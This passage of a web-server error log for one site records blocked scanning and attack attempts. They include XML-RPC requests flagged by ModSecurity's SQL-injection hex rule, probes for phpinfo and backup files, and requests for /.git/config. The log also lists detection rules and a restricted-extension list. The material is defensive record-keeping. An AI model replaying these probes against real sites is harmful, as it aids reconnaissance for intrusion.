"Matched Data: e0x000fa12cde found within XML: metaWeblog.newPost13462534625title0x000fa12cdescription0x000fa12cmt_keywords0x000fa12cmt_excerpt0x000fa12c1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aRgToTuS5Mojnb_qxiVgLQAAAMQ"] [Sat Nov 15 06:50:36.975952 2025] [:error] [pid 22111:tid 22188] [client 34.48.220.116:42876] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Nov 15 21:40:43.961683 2025] [:error] [pid 22547:tid 22553] [client 45.7.26.123:38130] [client 45.7.26.123] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xa858403dde found within XML: metaWeblog.newPost17670776707title0xa858403ddescription0xa858403dmt_keywords0xa858403dmt_excerpt0xa858403d1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aRk5q0GSGXWlMVNyK88ZfwAAAMM"] [Sat Nov 15 23:19:17.272227 2025] [:error] [pid 27401:tid 27422] [client 34.221.236.1:47768] File does not exist: /home/coldtecp/public_html/pi.php [Sat Nov 15 23:19:17.374268 2025] [:error] [pid 22112:tid 22120] [client 34.221.236.1:47774] File does not exist: /home/coldtecp/public_html/phpversion.php [Sat Nov 15 23:19:17.404322 2025] [:error] [pid 22112:tid 22129] [client 34.221.236.1:47776] File does not exist: /home/coldtecp/public_html/php_version.php [Sat Nov 15 23:19:17.439805 2025] [:error] [pid 22547:tid 22557] [client 34.221.236.1:47778] File does not exist: /home/coldtecp/public_html/php.php [Sat Nov 15 23:19:17.440251 2025] [:error] [pid 22112:tid 22126] [client 34.221.236.1:47782] File does not exist: /home/coldtecp/public_html/test.php [Sat Nov 15 23:19:17.442990 2025] [:error] [pid 22547:tid 22559] [client 34.221.236.1:47780] File does not exist: /home/coldtecp/public_html/phpinfo.php [Sat Nov 15 23:19:17.448152 2025] [:error] [pid 18778:tid 18803] [client 34.221.236.1:47786] File does not exist: /home/coldtecp/public_html/info.php [Sat Nov 15 23:19:17.468979 2025] [:error] [pid 22112:tid 22143] [client 34.221.236.1:47788] File does not exist: /home/coldtecp/public_html/i.php [Sat Nov 15 23:19:17.513073 2025] [:error] [pid 22112:tid 22140] [client 34.221.236.1:47790] File does not exist: /home/coldtecp/public_html/php_info.php [Sat Nov 15 23:19:17.564162 2025] [:error] [pid 22112:tid 22144] [client 34.221.236.1:47792] File does not exist: /home/coldtecp/public_html/info1.php [Sat Nov 15 23:19:17.570780 2025] [:error] [pid 22112:tid 22133] [client 34.221.236.1:47794] File does not exist: /home/coldtecp/public_html/info2.php [Sat Nov 15 23:19:26.462596 2025] [:error] [pid 22112:tid 22128] [client 34.221.236.1:47796] File does not exist: /home/coldtecp/public_html/serverinfo.php [Sat Nov 15 23:19:26.466975 2025] [:error] [pid 22112:tid 22141] [client 34.221.236.1:47798] File does not exist: /home/coldtecp/public_html/diagnostic.php [Sat Nov 15 23:19:26.471923 2025] [:error] [pid 27187:tid 27219] [client 34.221.236.1:47800] File does not exist: /home/coldtecp/public_html/debug.php [Sat Nov 15 23:19:26.474919 2025] [:error] [pid 27187:tid 27210] [client 34.221.236.1:47802] File does not exist: /home/coldtecp/public_html/server.php [Sat Nov 15 23:19:26.481877 2025] [:error] [pid 27187:tid 27212] [client 34.221.236.1:47804] File does not exist: /home/coldtecp/public_html/check.php [Sat Nov 15 23:19:26.527947 2025] [:error] [pid 22112:tid 22121] [client 34.221.236.1:47806] File does not exist: /home/coldtecp/public_html/php_info.php.save [Sat Nov 15 23:19:26.528219 2025] [:error] [pid 18552:tid 18607] [client 34.221.236.1:47808] File does not exist: /home/coldtecp/public_html/info.php.save [Sat Nov 15 23:19:26.529635 2025] [:error] [pid 18552:tid 18610] [client 34.221.236.1:47810] File does not exist: /home/coldtecp/public_html/test.php.save [Sat Nov 15 23:19:26.537248 2025] [:error] [pid 18552:tid 18563] [client 34.221.236.1:47812] File does not exist: /home/coldtecp/public_html/phptest.php [Sat Nov 15 23:19:26.539126 2025] [:error] [pid 18778:tid 18808] [client 34.221.236.1:47814] File does not exist: /home/coldtecp/public_html/phpinfo.php.save [Sat Nov 15 23:19:26.541362 2025] [:error] [pid 22547:tid 22568] [client 34.221.236.1:47816] File does not exist: /home/coldtecp/public_html/phpinfo.php.bak [Sat Nov 15 23:19:26.549309 2025] [:error] [pid 22547:tid 22555] [client 34.221.236.1:47818] File does not exist: /home/coldtecp/public_html/info.php.old [Sat Nov 15 23:19:26.565142 2025] [:error] [pid 22547:tid 22554] [client 34.221.236.1:47820] File does not exist: /home/coldtecp/public_html/info.php.bak [Sat Nov 15 23:19:26.576861 2025] [:error] [pid 22547:tid 22553] [client 34.221.236.1:47822] File does not exist: /home/coldtecp/public_html/test.php.bak [Sat Nov 15 23:19:26.591301 2025] [:error] [pid 22547:tid 22550] [client 34.221.236.1:47824] File does not exist: /home/coldtecp/public_html/php_info.php.bak [Sat Nov 15 23:19:26.598637 2025] [:error] [pid 22547:tid 22561] [client 34.221.236.1:47826] File does not exist: /home/coldtecp/public_html/php_info.php.old [Sat Nov 15 23:19:26.627295 2025] [:error] [pid 22547:tid 22558] [client 34.221.236.1:47828] File does not exist: /home/coldtecp/public_html/phpinfo.php.old [Sat Nov 15 23:19:29.051485 2025] [:error] [pid 22547:tid 22574] [client 34.221.236.1:47834] File does not exist: /home/coldtecp/public_html/info.php.orig [Sat Nov 15 23:19:29.108679 2025] [:error] [pid 22112:tid 22132] [client 34.221.236.1:47836] File does not exist: /home/coldtecp/public_html/php_info.php.backup [Sat Nov 15 23:19:29.113058 2025] [:error] [pid 18778:tid 18814] [client 34.221.236.1:47838] File does not exist: /home/coldtecp/public_html/test.php.orig [Sat Nov 15 23:19:29.172391 2025] [:error] [pid 22111:tid 22184] [client 34.221.236.1:47840] File does not exist: /home/coldtecp/public_html/test.php.old [Sat Nov 15 23:19:29.194011 2025] [:error] [pid 18553:tid 18619] [client 34.221.236.1:47842] File does not exist: /home/coldtecp/public_html/php_info.php.orig [Sat Nov 15 23:19:29.195282 2025] [:error] [pid 22111:tid 22188] [client 34.221.236.1:47844] File does not exist: /home/coldtecp/public_html/phpinfo.php.orig [Sat Nov 15 23:19:29.278241 2025] [:error] [pid 18553:tid 18586] [client 34.221.236.1:47848] File does not exist: /home/coldtecp/public_html/phpinfo.php.backup [Sat Nov 15 23:19:29.384849 2025] [:error] [pid 18553:tid 18580] [client 34.221.236.1:47850] File does not exist: /home/coldtecp/public_html/info.php.backup [Sat Nov 15 23:19:30.482758 2025] [:error] [pid 18553:tid 18574] [client 34.221.236.1:47852] File does not exist: /home/coldtecp/public_html/test.php.backup [Sat Nov 15 23:19:31.644455 2025] [:error] [pid 22112:tid 22136] [client 34.221.236.1:47872] File does not exist: /home/coldtecp/public_html/phpinfo.php.swp [Sat Nov 15 23:19:31.664928 2025] [:error] [pid 22112:tid 22135] [client 34.221.236.1:47876] File does not exist: /home/coldtecp/public_html/php_info.php.swp [Sat Nov 15 23:19:31.830272 2025] [:error] [pid 18778:tid 18816] [client 34.221.236.1:47884] File does not exist: /home/coldtecp/public_html/info.php.swp [Sat Nov 15 23:19:45.028669 2025] [:error] [pid 22112:tid 22121] [client 34.221.236.1:47938] File does not exist: /home/coldtecp/public_html/test.php.tmp [Sat Nov 15 23:19:45.035958 2025] [:error] [pid 22112:tid 22132] [client 34.221.236.1:47940] File does not exist: /home/coldtecp/public_html/php_info.php.tmp [Sat Nov 15 23:19:45.062131 2025] [:error] [pid 22112:tid 22119] [client 34.221.236.1:47944] File does not exist: /home/coldtecp/public_html/phpinfo.php.tmp [Sat Nov 15 23:19:45.227472 2025] [:error] [pid 22112:tid 22134] [client 34.221.236.1:47948] File does not exist: /home/coldtecp/public_html/test.php.swp [Sat Nov 15 23:19:45.234284 2025] [:error] [pid 22547:tid 22560] [client 34.221.236.1:47950] File does not exist: /home/coldtecp/public_html/info.php.tmp 2025/11/15 23:20:35 [error] 21953#21953: *57933 access forbidden by rule, client: 34.221.236.1, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/15 23:28:31 [error] 21953#21953: *58839 access forbidden by rule, client: 54.193.155.83, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" 2025/11/16 00:04:57 [error] 21952#21952: *62711 access forbidden by rule, client: 104.131.58.215, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/16 00:04:58 [error] 21952#21952: *62712 access forbidden by rule, client: 104.131.58.215, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/16 03:17:26 [error] 21952#21952: *69621 access forbidden by rule, client: 104.131.58.215, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/16 03:17:27 [error] 21952#21952: *69622 access forbidden by rule, client: 104.131.58.215, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Sun Nov 16 06:24:10.994630 2025] [:error] [pid 15494:tid 15516] [client 185.193.156.147:49446] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/11/16 11:14:03 [error] 15338#15338: *83476 access forbidden by rule, client: 104.131.58.215, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/16 11:14:04 [error] 15339#15339: *83477 access forbidden by rule, client: 104.131.58.215, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/16 13:05:20 [error] 15339#15339: *87013 access forbidden by rule, client: 104.131.58.215, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/16 13:05:21 [error] 15339#15339: *87014 access forbidden by rule, client: 104.131.58.215, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Sun Nov 16 14:07:49.902280 2025] [:error] [pid 15375:tid 15384] [client 35.188.226.106:50448] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Nov 16 14:21:16.516727 2025] [:error] [pid 24993:tid 25014] [client 194.110.114.22:51260] File does not exist: /home/coldtecp/public_html/archivarix.cms.php, referer: http://coldtecperu.com/archivarix.cms.php 2025/11/16 16:43:32 [error] 15339#15339: *92968 access forbidden by rule, client: 104.131.58.215, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/16 16:43:35 [error] 15339#15339: *92970 access forbidden by rule, client: 104.131.58.215, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/16 19:26:37 [error] 15339#15339: *96451 access forbidden by rule, client: 104.131.58.215, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/16 19:26:44 [error] 15339#15339: *96452 access forbidden by rule, client: 104.131.58.215, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/17 12:14:29 [error] 20296#20296: *103387 access forbidden by rule, client: 45.130.203.145, server: cpanel.coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/11/17 12:14:30 [error] 20297#20297: *103390 access forbidden by rule, client: 45.130.203.150, server: mail.coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "mail.coldtecperu.com" 2025/11/17 12:14:30 [error] 20296#20296: *103391 access forbidden by rule, client: 45.130.203.162, server: webmail.coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "webmail.coldtecperu.com" 2025/11/17 12:14:30 [error] 20297#20297: *103393 access forbidden by rule, client: 45.130.203.178, server: coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "www.coldtecperu.com" [Mon Nov 17 12:31:23.804988 2025] [:error] [pid 22447:tid 22469] [client 34.11.240.222:57948] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Nov 17 13:48:34.972477 2025] [:error] [pid 30522:tid 30547] [client 193.163.187.224:37464] [client 193.163.187.224] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x217f0d27de found within XML: metaWeblog.newPost11517615176title0x217f0d27description0x217f0d27mt_keywords0x217f0d27mt_excerpt0x217f0d271"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aRtuAoRaz5aj0UlHdPPlAwAAARY"] 2025/11/18 01:20:03 [error] 20296#20296: *119351 access forbidden by rule, client: 134.199.155.234, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/18 01:20:09 [error] 20297#20297: *119354 access forbidden by rule, client: 134.199.155.234, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Tue Nov 18 09:24:03.813866 2025] [:error] [pid 8456:tid 8459] [client 95.180.127.105:43592] [client 95.180.127.105] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aRyBg8xbEmyOfVwlW0U3pwAAAME"] [Tue Nov 18 09:24:13.781592 2025] [:error] [pid 8456:tid 8461] [client 131.255.22.249:43598] [client 131.255.22.249] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xf9f3f25cde found within XML: metaWeblog.newPost17673676736title0xf9f3f25cdescription0xf9f3f25cmt_keywords0xf9f3f25cmt_excerpt0xf9f3f25c1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aRyBjcxbEmyOfVwlW0U3qAAAAMM"] [Tue Nov 18 14:48:37.577713 2025] [:error] [pid 8191:tid 8195] [client 45.149.173.211:54552] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Nov 19 05:49:52.320597 2025] [:error] [pid 15337:tid 15348] [client 96.242.29.137:55586] [client 96.242.29.137] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xbd82f3e6de found within XML: metaWeblog.newPost17362773627title0xbd82f3e6description0xbd82f3e6mt_keywords0xbd82f3e6mt_excerpt0xbd82f3e61"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aR2g0DLlsyS4yneLadxBmwAAAEU"] [Wed Nov 19 08:09:27.750082 2025] [:error] [pid 15337:tid 15355] [client 134.199.203.136:58624] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Nov 20 02:08:21.539730 2025] [:error] [pid 11029:tid 11057] [client 143.44.184.224:36012] [client 143.44.184.224] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xb63a6911de found within XML: metaWeblog.newPost19286892868title0xb63a6911description0xb63a6911mt_keywords0xb63a6911mt_excerpt0xb63a69111"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aR6-ZTQMHS_ZWSj9zrFRcwAAAZE"] [Thu Nov 20 02:08:50.616937 2025] [:error] [pid 11029:tid 11052] [client 110.235.219.139:36024] [client 110.235.219.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x593e75dade found within XML: metaWeblog.newPost19055690556title0x593e75dadescription0x593e75damt_keywords0x593e75damt_excerpt0x593e75da1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aR6-gjQMHS_ZWSj9zrFRdgAAAYw"] [Thu Nov 20 21:50:38.726117 2025] [:error] [pid 16590:tid 16616] [client 154.127.129.54:35598] [client 154.127.129.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x61c5c644de found within XML: metaWeblog.newPost14614046140title0x61c5c644description0x61c5c644mt_keywords0x61c5c644mt_excerpt0x61c5c6441"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aR_Tfsd-BCs4qvZw2vZx1gAAANM"] 2025/11/21 02:14:55 [error] 16158#16158: *207749 access forbidden by rule, client: 15.181.21.115, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Fri Nov 21 17:10:24.543579 2025] [:error] [pid 1822:tid 1845] [client 122.177.240.212:60046] [client 122.177.240.212] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x65daa092de found within XML: metaWeblog.newPost14025740257title0x65daa092description0x65daa092mt_keywords0x65daa092mt_excerpt0x65daa0921"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aSDjUKF8thJImLWD29XQkQAAANQ"] [Fri Nov 21 22:35:38.146261 2025] [:error] [pid 1822:tid 1844] [client 193.32.126.212:46650] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Nov 22 07:32:42.428812 2025] [:error] [pid 13272:tid 13287] [client 169.150.203.245:43018] File does not exist: /home/coldtecp/public_html/xmlrpc.php 2025/11/22 08:30:31 [error] 12810#12810: *33410 access forbidden by rule, client: 192.158.238.76, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/22 08:37:47 [error] 12810#12810: *33535 access forbidden by rule, client: 23.180.120.244, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/11/22 08:37:48 [error] 12810#12810: *33537 access forbidden by rule, client: 23.180.120.244, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" [Sat Nov 22 14:30:06.120278 2025] [:error] [pid 13625:tid 13633] [client 41.39.181.90:37038] [client 41.39.181.90] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xe701f5a3de found within XML: metaWeblog.newPost16902169021title0xe701f5a3description0xe701f5a3mt_keywords0xe701f5a3mt_excerpt0xe701f5a31"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aSIPPjaH6S7xD0ekb27QEwAAAQQ"] [Sat Nov 22 17:31:30.116044 2025] [:error] [pid 13272:tid 13295] [client 45.71.130.232:49026] [client 45.71.130.232] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x507e5484de found within XML: metaWeblog.newPost15363353633title0x507e5484description0x507e5484mt_keywords0x507e5484mt_excerpt0x507e54841"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aSI5wptl9kRgbU077n55LgAAANU"] 2025/11/23 00:01:04 [error] 12811#12811: *67070 access forbidden by rule, client: 216.126.225.91, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Sun Nov 23 08:13:41.016954 2025] [:error] [pid 1782:tid 1824] [client 212.102.57.13:37458] [client 212.102.57.13] ModSecurity: Access denied with code 403 (phase 2). String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_30_http_policy.conf"] [line "88"] [id "960035"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".xsd"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "coldtecperu.com"] [uri "/vendor/phpunit/phpunit/phpunit.xsd"] [unique_id "aSMIhe4cF98Qi4XtIxNiUgAAAEg"] [Sun Nov 23 14:20:44.186123 2025] [:error] [pid 1782:tid 1832] [client 122.187.36.30:60592] [client 122.187.36.30] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xcf8c2552de found within XML: metaWeblog.newPost17847478474title0xcf8c2552description0xcf8c2552mt_keywords0xcf8c2552mt_excerpt0xcf8c25521"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aSNejO4cF98Qi4XtIxNm7AAAAFA"] [Mon Nov 24 01:04:37.139510 2025] [:error] [pid 1783:tid 1848] [client 152.67.153.5:42472] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Nov 24 01:38:29.650217 2025] [:error] [pid 2497:tid 2520] [client 104.131.179.12:44380] File does not exist: /home/coldtecp/public_html/wp-login.php 2025/11/24 04:29:51 [error] 27549#27549: *114952 access forbidden by rule, client: 3.138.186.161, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/11/24 04:32:13 [error] 27548#27548: *115012 access forbidden by rule, client: 34.240.4.243, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/24 04:40:30 [error] 27548#27548: *115276 access forbidden by rule, client: 13.53.125.93, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" 2025/11/24 04:49:29 [error] 27549#27549: *115463 access forbidden by rule, client: 3.112.1.254, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "webmail.coldtecperu.com" 2025/11/24 05:17:23 [error] 27549#27549: *115972 access forbidden by rule, client: 3.138.186.161, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" 2025/11/24 05:19:56 [error] 27548#27548: *116017 access forbidden by rule, client: 34.240.4.243, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/11/24 05:26:22 [error] 27548#27548: *116136 access forbidden by rule, client: 13.53.125.93, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" 2025/11/24 05:35:10 [error] 27549#27549: *116244 access forbidden by rule, client: 3.112.1.254, server: webmail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: 